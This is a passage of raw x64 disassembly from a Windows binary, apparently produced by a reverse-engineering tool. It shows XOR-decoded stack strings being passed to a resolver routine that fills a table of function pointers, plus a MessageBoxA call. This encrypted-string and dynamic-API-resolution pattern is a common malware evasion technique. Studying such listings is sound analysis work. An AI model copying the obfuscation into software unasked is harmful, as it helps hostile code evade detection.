lea rcx, [rbp + 0xc00]
mov rdx, r15
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400194b0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
lea r8, [rbp + 0x1b0]
mov rdx, r14
lea rcx, [rbp + 0x3100]
call fcn.140051d50
lea rcx, [rbp + 0xc00]
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdi, 1
jne 0x140019550
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
mov rax, qword [rax + 0x30]
mov qword [rcx + 0x30], rax
cmp qword [rbp + 0xc18], rdi
jne 0x140019753
movabs rsi, 0x1fffffffe0000000
mov qword [rbp + 0x3590], rsi
movabs rax, 0xe00000002000412a
mov qword [rbp + 0x3598], rax
mov qword [rbp + 0x35a0], rsi
mov qword [rbp + 0x35a8], rax
movdqa xmm0, xmmword [rbp + 0x35a0]
pxor xmm0, xmmword [rbp + 0x3590]
movdqa xmmword [rbp + 0x50], xmm0
movabs rax, 0x1e58e9f3d9c53e7
mov qword [rsp + 0x30], rax
movabs rax, 0x2ce12dace018b6e
mov qword [rsp + 0x38], rax
movabs rax, 0x4bddb52b7aa0494
mov qword [rsp + 0x40], rax
movabs rcx, 0x4cd8d88831ce575e
mov qword [rsp + 0x48], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x65cbfaed5eea208a
mov qword [rsp + 0x70], rax
movabs rax, 0x6d8049fae321e702
mov qword [rsp + 0x78], rax
movabs rax, 0x59d9b527d8ec24e0
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rsp + 0x70]
pxor xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rbp + 0x1b0], xmm0
movdqa xmm1, xmmword [rbp - 0x80]
pxor xmm1, xmmword [rsp + 0x40]
movdqa xmmword [rbp + 0x1c0], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x1d0], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x1e0], xmm3
lea rax, [rbp + 0x5f0]
lea rcx, [rbp + 0x1b0]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rbx, 1
jne 0x1400196e0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
xor r9d, r9d
lea r8, [rbp + 0x50]
lea rdx, [rbp + 0x5f0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14001ded8
mov ecx, 0x1d8
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x14001ded8
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rdi + 4], xmm0
movups xmmword [rdi + 0x14], xmm0
movups xmmword [rdi + 0x24], xmm0
movups xmmword [rdi + 0x34], xmm0
mov dword [rdi + 0x44], eax
movups xmmword [rdi + 0xf8], xmm0
movabs rax, 0x51c2c93b056
mov qword [rbp + 0x3590], rax
movabs rcx, 0x5052c66cc184d34
mov qword [rbp + 0x3598], rcx
movabs rax, 0x51c49f6c230
mov qword [rbp + 0x35a0], rax
mov qword [rbp + 0x35a8], rcx
movdqa xmm0, xmmword [rbp + 0x35a0]
pxor xmm0, xmmword [rbp + 0x3590]
movaps xmmword [rbp + 0x3590], xmm0
movaps xmm0, xmmword [rbp + 0x3550]
movaps xmmword [rbp + 0x35a0], xmm0
movaps xmm1, xmmword [rbp + 0x3560]
movaps xmmword [rbp + 0x35b0], xmm1
movaps xmm0, xmmword [rbp + 0x3570]
movaps xmmword [rbp + 0x35c0], xmm0
movaps xmm1, xmmword [rbp + 0x3580]
movaps xmmword [rbp + 0x35d0], xmm1
lea r8, [rbp + 0x3590]
mov rdx, qword [rbp + 0x1058]
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x60], rax
movabs rax, 0x5d46714eda93e35
mov qword [rbp + 0x3590], rax
movabs rcx, 0x3bb51afebe32843
mov qword [rbp + 0x3598], rcx
movabs rax, 0x5d4047b81c55f58
mov qword [rbp + 0x35a0], rax
mov qword [rbp + 0x35a8], rcx
movdqa xmm0, xmmword [rbp + 0x35a0]
pxor xmm0, xmmword [rbp + 0x3590]
movaps xmmword [rsp + 0x30], xmm0
movaps xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x50], xmm1
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x70], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp - 0x80], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp - 0x70], xmm1
lea r8, [rsp + 0x30]
mov rdx, qword [rbp + 0x1058]
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x50], rax
movabs rax, 0x5e5a38558f209a8
mov qword [rbp + 0x3590], rax
movabs rcx, 0x3affb70ac051da0
mov qword [rbp + 0x3598], rcx
movabs rax, 0x5e5c0ea349e68cb
mov qword [rbp + 0x35a0], rax
mov qword [rbp + 0x35a8], rcx
movdqa xmm0, xmmword [rbp + 0x35a0]
pxor xmm0, xmmword [rbp + 0x3590]
movaps xmmword [rsp + 0x30], xmm0
movaps xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x50], xmm1
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x70], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp - 0x80], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp - 0x70], xmm1
lea r8, [rsp + 0x30]
mov rdx, qword [rbp + 0x1058]
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x58], rax
movabs rax, 0x73fdbcb58914303
mov qword [rbp + 0x3590], rax
movabs rcx, 0x14aa7008b749834b
mov qword [rbp + 0x3598], rcx
movabs rax, 0x73fa2bb3bfc266e
mov qword [rbp + 0x35a0], rax
mov qword [rbp + 0x35a8], rcx
movdqa xmm0, xmmword [rbp + 0x35a0]
pxor xmm0, xmmword [rbp + 0x3590]
movaps xmmword [rsp + 0x30], xmm0
movaps xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x50], xmm1
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x70], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp - 0x80], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp - 0x70], xmm1
lea r8, [rsp + 0x30]
mov rdx, qword [rbp + 0x1058]
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x68], rax
movabs rax, 0xc4038330c704d44
mov qword [rbp + 0x3590], rax
movabs rcx, 0x1bee8d14657f8114
mov qword [rbp + 0x3598], rcx
xorps xmm1, xmm1
movabs rax, 0xc254e5c611d2829
mov qword [rbp + 0x35b0], rax
mov qword [rbp + 0x35b8], rcx
xorps xmm2, xmm2
movdqa xmm0, xmmword [rbp + 0x35b0]
pxor xmm0, xmmword [rbp + 0x3590]
pxor xmm2, xmm1
movaps xmmword [rsp + 0x30], xmm0
movaps xmmword [rsp + 0x40], xmm2
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x60], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x70], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp - 0x80], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp - 0x70], xmm0
movaps xmm1, xmmword [rbp - 0x60]
movaps xmmword [rbp - 0x60], xmm1
lea r8, [rsp + 0x30]
mov rdx, qword [rbp + 0x1058]
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x70], rax
movabs rax, 0x64c11b1db006f
mov qword [rbp + 0x3590], rax
movabs rcx, 0x123f06baaa3ba0db
mov qword [rbp + 0x3598], rcx
movabs rax, 0x64c77ddb2650c
mov qword [rbp + 0x35a0], rax
mov qword [rbp + 0x35a8], rcx
movdqa xmm0, xmmword [rbp + 0x35a0]
pxor xmm0, xmmword [rbp + 0x3590]
movaps xmmword [rbp + 0x3590], xmm0
movaps xmm0, xmmword [rsp + 0x40]
movaps xmmword [rbp + 0x35a0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0x35b0], xmm1
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0x35c0], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0x35d0], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0x35e0], xmm0
lea r8, [rbp + 0x3590]
mov rdx, qword [rbp + 0x1058]
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x78], rax
movabs rax, 0x6b59bb7f0
mov qword [rbp + 0x3590], rax
movabs rcx, 0x5f62653e01c
mov qword [rbp + 0x3598], rcx
movabs rax, 0x6b5f5de83
mov qword [rbp + 0x35a0], rax
mov qword [rbp + 0x35a8], rcx
movdqa xmm0, xmmword [rbp + 0x35a0]
pxor xmm0, xmmword [rbp + 0x3590]
movaps xmmword [rbp + 0x3590], xmm0
movaps xmm0, xmmword [rbp + 0x3550]
movaps xmmword [rbp + 0x35a0], xmm0
movaps xmm1, xmmword [rbp + 0x3560]
movaps xmmword [rbp + 0x35b0], xmm1
movaps xmm0, xmmword [rbp + 0x3570]
movaps xmmword [rbp + 0x35c0], xmm0
lea r8, [rbp + 0x3590]
mov rdx, qword [rbp + 0x1058]
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x80], rax
movabs rax, 0x709188edb
mov qword [rbp + 0x3590], rax
movabs rcx, 0x688b30dbcf3
mov qword [rbp + 0x3598], rcx
movabs rax, 0x7096be1b8
mov qword [rbp + 0x35a0], rax
mov qword [rbp + 0x35a8], rcx
movdqa xmm0, xmmword [rbp + 0x35a0]
pxor xmm0, xmmword [rbp + 0x3590]
movaps xmmword [rbp + 0x3590], xmm0
movaps xmm0, xmmword [rbp + 0x3550]
movaps xmmword [rbp + 0x35a0], xmm0
movaps xmm1, xmmword [rbp + 0x3560]
movaps xmmword [rbp + 0x35b0], xmm1
movaps xmm0, xmmword [rbp + 0x3570]
movaps xmmword [rbp + 0x35c0], xmm0
lea r8, [rbp + 0x3590]
mov rdx, qword [rbp + 0x1058]
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x88], rax
movabs rax, 0x62ade3121d4348c
mov qword [rbp + 0x3590], rax
movabs rcx, 0x1c81c5df26560dab
mov qword [rbp + 0x3598], rcx
movabs rax, 0x62aae5c42a757fb
mov qword [rbp + 0x35a0], rax
mov qword [rbp + 0x35a8], rcx
movdqa xmm0, xmmword [rbp + 0x35a0]
pxor xmm0, xmmword [rbp + 0x3590]
movaps xmmword [rsp + 0x30], xmm0
movaps xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x50], xmm1
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x70], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp - 0x80], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp - 0x70], xmm1
lea r8, [rsp + 0x30]
mov rdx, qword [rbp + 0x1058]
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x90], rax
movabs rax, 0x64afb701cc91cd8
mov qword [rbp + 0x3590], rax
movabs rcx, 0x5c9854ed5a9bb8b
mov qword [rbp + 0x3598], rcx
movabs rax, 0x64a8b1d7fbb68ab
mov qword [rbp + 0x35a0], rax
mov qword [rbp + 0x35a8], rcx
movdqa xmm0, xmmword [rbp + 0x35a0]
pxor xmm0, xmmword [rbp + 0x3590]
movaps xmmword [rsp + 0x30], xmm0
movaps xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x50], xmm1
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x70], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp - 0x80], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp - 0x70], xmm1
lea r8, [rsp + 0x30]
mov rdx, qword [rbp + 0x1058]
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x98], rax
movabs rax, 0x64026d8e67b2362
mov qword [rbp + 0x3590], rax
movabs rcx, 0x9ac8cb1dbee89d8
mov qword [rbp + 0x3598], rcx
movabs rax, 0x64048bd8a095711
mov qword [rbp + 0x35a0], rax
mov qword [rbp + 0x35a8], rcx
movdqa xmm0, xmmword [rbp + 0x35a0]
pxor xmm0, xmmword [rbp + 0x3590]
movaps xmmword [rsp + 0x30], xmm0
movaps xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x50], xmm1
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x70], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp - 0x80], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp - 0x70], xmm1
lea r8, [rsp + 0x30]
mov rdx, qword [rbp + 0x1058]
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0xa0], rax
movabs rax, 0x117a9113346453a9
mov qword [rbp + 0x3590], rax
movabs rax, 0x6301399300558c00
mov qword [rbp + 0x3598], rax
xorps xmm2, xmm2
movabs rax, 0x720dfe67461731c4
mov qword [rbp + 0x35b0], rax
movabs rax, 0x6301399300558c73
mov qword [rbp + 0x35b8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x35b0]
pxor xmm0, xmmword [rbp + 0x3590]
movdqa xmmword [rsp + 0x30], xmm0
pxor xmm2, xmm1
movdqa xmmword [rsp + 0x40], xmm2
lea rcx, [rbp + 0x3590]
lea rax, [rsp + 0x30]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
lea r8, [rbp + 0x3590]
mov rdx, qword [rbp + 0x1058]
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0xa8], rax
movabs rax, 0x10b1353cb8dfecc8
mov qword [rbp + 0x3590], rax
movabs rcx, 0x7f80021d1e0c6ed3
mov qword [rbp + 0x3598], rcx
xorps xmm2, xmm2
movabs rax, 0x63d35853ccac8fbf
mov qword [rbp + 0x35b0], rax
mov qword [rbp + 0x35b8], rcx
xorps xmm0, xmm0
movdqa xmm1, xmmword [rbp + 0x3590]
pxor xmm1, xmmword [rbp + 0x35b0]
pxor xmm2, xmm0
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x40], xmm2
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x60], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x70], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp - 0x80], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp - 0x70], xmm0
movaps xmm1, xmmword [rbp - 0x60]
movaps xmmword [rbp - 0x60], xmm1
movaps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp - 0x50], xmm0
lea r8, [rsp + 0x30]
mov rdx, qword [rbp + 0x1058]
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0xb0], rax
movabs rax, 0x6742b632de252ae
mov qword [rbp + 0x3590], rax
movabs rcx, 0x4aaed7b89e4b11a
mov qword [rbp + 0x3598], rcx
movabs rax, 0x6744506419131d9
mov qword [rbp + 0x35a0], rax
mov qword [rbp + 0x35a8], rcx
movdqa xmm0, xmmword [rbp + 0x3590]
pxor xmm0, xmmword [rbp + 0x35a0]
movaps xmmword [rsp + 0x30], xmm0
movaps xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x50], xmm1
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x70], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp - 0x80], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp - 0x70], xmm1
lea r8, [rsp + 0x30]
mov rdx, qword [rbp + 0x1058]
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0xb8], rax
movabs rax, 0x3a088382b97cc
mov qword [rbp + 0x3590], rax
movabs rcx, 0x4aeeb330ba3f8e2
mov qword [rbp + 0x3598], rcx
movabs rax, 0x3a0ee564ae3ad
mov qword [rbp + 0x35a0], rax
mov qword [rbp + 0x35a8], rcx
movdqa xmm0, xmmword [rbp + 0x3590]
pxor xmm0, xmmword [rbp + 0x35a0]
movaps xmmword [rbp + 0x3590], xmm0
movaps xmm0, xmmword [rsp + 0x40]
movaps xmmword [rbp + 0x35a0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0x35b0], xmm1
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0x35c0], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0x35d0], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0x35e0], xmm0
lea r8, [rbp + 0x3590]
mov rdx, qword [rbp + 0x1058]
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0xc0], rax
movabs rax, 0x3a7711cb98880df
mov qword [rbp + 0x3590], rax
movabs rcx, 0x5965cc8d0b2c615
mov qword [rbp + 0x3598], rcx
movabs rax, 0x3a7172ed7e9f4be
mov qword [rbp + 0x35a0], rax
mov qword [rbp + 0x35a8], rcx
movdqa xmm0, xmmword [rbp + 0x3590]
pxor xmm0, xmmword [rbp + 0x35a0]
movaps xmmword [rsp + 0x30], xmm0
movaps xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x50], xmm1
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x70], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp - 0x80], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp - 0x70], xmm1
lea r8, [rsp + 0x30]
mov rdx, qword [rbp + 0x1058]
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0xc8], rax
movabs rax, 0x1d917441f521fa7a
mov qword [rbp + 0x3590], rax
movabs rax, 0x6e5d83f39749270c
mov qword [rbp + 0x3598], rax
xorps xmm2, xmm2
movabs rax, 0x7be51a288751890d
mov qword [rbp + 0x35b0], rax
movabs rax, 0x6e5d83f39749275b
mov qword [rbp + 0x35b8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x3590]
pxor xmm0, xmmword [rbp + 0x35b0]
movdqa xmmword [rsp + 0x30], xmm0
pxor xmm2, xmm1
movdqa xmmword [rsp + 0x40], xmm2
lea rcx, [rbp + 0x3590]
lea rax, [rsp + 0x30]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
lea r8, [rbp + 0x3590]
mov rdx, rsi
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0xd0], rax
movabs rax, 0x16f3836e75513174
mov qword [rbp + 0x3590], rax
movabs rax, 0x6f8ea4665d554549
mov qword [rbp + 0x3598], rax
xorps xmm2, xmm2
movabs rax, 0x629dea1c05264202
mov qword [rbp + 0x35b0], rax
movabs rax, 0x6f8ea4665d261a2f
mov qword [rbp + 0x35b8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x3590]
pxor xmm0, xmmword [rbp + 0x35b0]
movdqa xmmword [rbp + 0x60], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x70], xmm2
lea rcx, [rsp + 0x30]
lea rax, [rbp + 0x60]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xb0], xmm1
lea r8, [rsp + 0x30]
mov rdx, qword [rbp + 0xc18]
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0xd8], rax
movabs rax, 0xcec918ca9e30163
mov qword [rsp + 0x30], rax
movabs rax, 0x18c07ff7d4e1db57
mov qword [rsp + 0x38], rax
movabs rax, 0x16c7e1d28279d77
mov qword [rsp + 0x40], rax
movabs rax, 0x66b6f225ad14797f
mov qword [rsp + 0x48], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x699ed2bd98a73227
mov qword [rsp + 0x70], rax
movabs rax, 0x7ba909929084af36
mov qword [rsp + 0x78], rax
movabs rax, 0x710d094e4c49dc12
mov qword [rbp - 0x80], rax
movabs rax, 0x66b6f24bc475113c
mov qword [rbp - 0x78], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rsp + 0x70]
pxor xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rbp + 0x780], xmm0
movdqa xmm1, xmmword [rbp - 0x80]
pxor xmm1, xmmword [rsp + 0x40]
movdqa xmmword [rbp + 0x790], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x7a0], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x7b0], xmm5
lea rax, [rbp + 0x1b0]
lea rcx, [rbp + 0x780]
mov rdx, rbx
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14001a4c0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movabs rax, 0x10b0608bfe43580b
mov qword [rbp + 0x3590], rax
movabs rax, 0x730349bdb45ab799
mov qword [rbp + 0x3598], rax
xorps xmm2, xmm2
movabs rax, 0x7cd44ebacf276b6f
mov qword [rbp + 0x35b0], rax
movabs rax, 0x730349bdb45ab7f5
mov qword [rbp + 0x35b8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x35b0]
pxor xmm0, xmmword [rbp + 0x3590]
movdqa xmmword [rsp + 0x30], xmm0
pxor xmm2, xmm1
movdqa xmmword [rsp + 0x40], xmm2
lea rcx, [rbp + 0x3590]
lea rax, [rsp + 0x30]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
